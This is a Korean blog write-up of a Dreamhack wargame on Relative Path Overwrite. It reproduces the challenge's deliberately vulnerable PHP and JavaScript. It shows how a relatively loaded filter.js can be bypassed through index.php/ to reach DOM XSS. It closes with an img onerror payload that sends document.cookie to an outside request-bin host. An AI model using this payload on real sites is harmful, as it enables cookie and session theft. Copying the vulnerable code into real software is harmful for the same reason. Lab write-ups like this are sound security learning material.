문제정보
https://dreamhack.io/wargame/challenges/439
풀이
해당 문제에 접속하면 Home, Vuln Page, Report 3개의 페이지가 존재한다. 참고로 반응형 웹 페이지가 아니므로 전체화면으로 해야 입력 폼이나 메모들을 볼 수 있다.
Vuln Page에 접속하게 되면 아래와 같이 param의 파라미터 값이 그대로 출력되는 것을 확인할 수 있다.
Report 페이지를 보면 http://127.0.0.1로 요청을 보내는 것으로 보아 Request bin을 이용해야 할 것 같다.
아래는 문제 파일 안의 bot.py 소스 코드이다. 여기서 flag값이 어디 있는지 확인할 수 있는데, check_xss 함수와 not check_xss 함수를 보면 사용자의 쿠키가 flag값으로 설정되어 있는 것을 알 수 있다.
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import sys
import base64
if len(sys.argv) < 2:
exit(-1)
if len(sys.argv[1]) == 0:
exit(-1)
path = base64.b64decode(sys.argv[1]).decode('latin-1')
try:
FLAG = open('/flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
def read_url(url, cookie={'name': 'name', 'value': 'value'}):
cookie.update({'domain':'127.0.0.1'})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get('http://127.0.0.1/')
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
return False
driver.quit()
return True
def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
url = f'http://127.0.0.1/{path}'
return read_url(url, cookie)
if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
print('<script>alert("wrong??");history.go(-1);</script>')
else:
print('<script>alert("good");history.go(-1);</script>')
아래는 index.php의 소스 코드인데 page의 파라미터를 받아와 php 파일을 포함하는 것을 알 수 있다. 또한 .. : /의 특수문자를 필터링한다.
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
</body>
</html>
아래는 vuln.php의 소스 코드인데 filter.js라는 파일을 로드하고 있다. 자세히 살펴보면 filter.js 앞에 /가 없기 때문에 RPO 취약점이 있을 것이라고 예상해볼 수 있다. 또한 param이라는 파라미터를 추가해 필터에 걸리지 않는다면 그대로 페이지에 삽입하고, 백틱 문자는 제거된다.
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var param = `<?php echo str_replace("`", "", $_GET["param"]); ?>`;
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
아래는 filter.js 의 파일에 있는 내용이다.
var filter = ["script", "on", "frame", "object"];
여기서 이제 해볼 것은 filter.js가 RPO 취약점이 있을 것이라고 예상했기 때문에 index.php를 경로에 추가하고 script를 작성해보면 그대로 삽입되는 것을 확인할 수 있다.
vuln.php 소스 코드를 다시 보면 이용자의 입력 값이 innerHTML로 들어가기 때문에 Reflected가 아닌 DOM XSS를 이용해서 공격을 하여야 한다. 따라서 on 이벤트 핸들러를 통해서 스크립트를 작성하면 아래와 같다.
index.php/?page=vuln¶m=<img src='x' onerror=location.href="https://bhfoodv.request.dreamhack.games/"%2bdocument.cookie>
위 스크립트를 report 페이지에서 작성하여 요청하면 다음과 같이 request bin에서 flag 값을 확인할 수 있다.
'Web Hacking > Dreamhack 풀이' 카테고리의 다른 글
DOM XSS (1) | 2024.01.04 |
---|---|
Relative Path Overwrite Advanced (1) | 2024.01.02 |
Addition calculator (0) | 2023.12.24 |
CSS Injection 풀이 (0) | 2023.07.01 |
Client Side Template Injection 풀이 (0) | 2023.06.26 |